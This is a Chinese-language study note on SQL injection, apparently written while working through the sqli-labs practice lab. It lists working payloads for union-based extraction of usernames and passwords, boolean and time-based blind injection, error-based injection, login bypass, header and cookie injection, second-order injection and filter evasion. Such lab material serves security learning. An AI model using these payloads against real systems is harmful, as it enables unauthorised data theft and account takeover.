SQL注入微境界
一、一个get注入的心里历程
使用的漏洞库是sqli-labs
1、判断参数是否代入数据库查询
?id=1
修改参数?id=2
内容有变化,可以确定是代入数据库查询的。
2、判断是字符型还是数字型,是否属于拼接型
?id=2'
有报错型注入
?id=2'--+
--+是注释的一种,+是空格;可以是--空格加任意字符的方式代替
通过上面可知属于字符型注入,因为有回显,所以可以使用联合查询。
3、联合注入
1)确定列数
?id=1' order by 3--+
order by 报错就是表示超出列数,不报错就表示未超出列数。
2)爆出显示位
?id=-1'union select 1,2,3--+
可以看出2,3属于显示位,-1是为了让正文查询为空,好让出显示位。
3)获得数据库和版本号
?id=-1'union select 1,database(),version()--+
4)获取security数据库下的表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5)爆列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6)爆表数据
?id=-1'union select 1,2,group_concat(username,id,password) from users--+
二、数字型注入
1、?id=1"
单引号和双引号都未能爆出数字错误,因此这属于数字型错误注入。
数字型错误注入和字符型错误注入方式是一样的
三、单引号和括号的错误注入
?id=1'
可以看出此注入涉及单引号和括号。
?id=2')--+添加了')即可正常访问
?id=2') order by 3--+
四、双引号+括号的错误注入
五、布尔型注入
1、测试是否属于布尔型注入
?id=1' and length((select database()))>7--+
?id=1' and length((select database()))<7--+
?id=1' and length((select database()))=7--+
2、爆字段
?id=1' and ascii(substr((select database()),1,1))=115--+
ASCII_百度百科
通过判断确定字符
substr(a,b,c)--a是截取的字符串,b是截取的位置,c是截取的长度。
六、时间盲注
?id=1' and if(1=1,sleep(5),1)--+
if(1=1,sleep(5),1)的语句当1=1为true则执行sleep(5)会执行延迟5秒,否则1,不会出现延迟。
?id=1' and if(length((select database()))>9,sleep(5),1)--+
七、注释的使用
使用1'
出现报错
1'--+仍然报错
1'#不报错了,表示可以使用#做注释
八、万能密钥
1' or 1=1#
有回显,注入
1' union select 1,2#表示可注入
九、报错型注入
1、extractvalue报错型注入
select extractvalue('<a><b></b></a>',concat('~',(select database())));
#~security
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
2、updatexml错型注入
1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#. 爆版本
3、group by报错注入
1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#
十、ua、referer、cookie注入
当输入正确的页面的时候,ua、referer、cookie显示在页面上,页面显示哪个即可能哪里存在注入。ua存在注入时,可以在ua后面加引号看是否有报错信息,假如存在可以使用报错注入。
十一、其他
1、过滤符被过滤:假如时候注释符被过滤,可以用单引号进行闭合;
?id=1' or '1'='1
?id=1' union select 1,2,3 or '1'='1
2、二次注入
先是注册一个账号名为admin'#,修改密码,然后修改的是admin的密码,使用admin进行登录即可证实
3、绕过
1)or、 and双写绕过information->infoorrmation
2)大小写绕过
3)逻辑运算符||或者&&绕过,空格使用%a0还有()进行绕过
4)select、union过滤可以使用重写或者大小写进行绕过
4、两个id参数,数据库接收的是第二个id的值?id=1&id=2--+
5、宽字节注入?id=-1%df%27 union select 1,2,3--+. 单引号和双引号被斜杠转义的情况下使用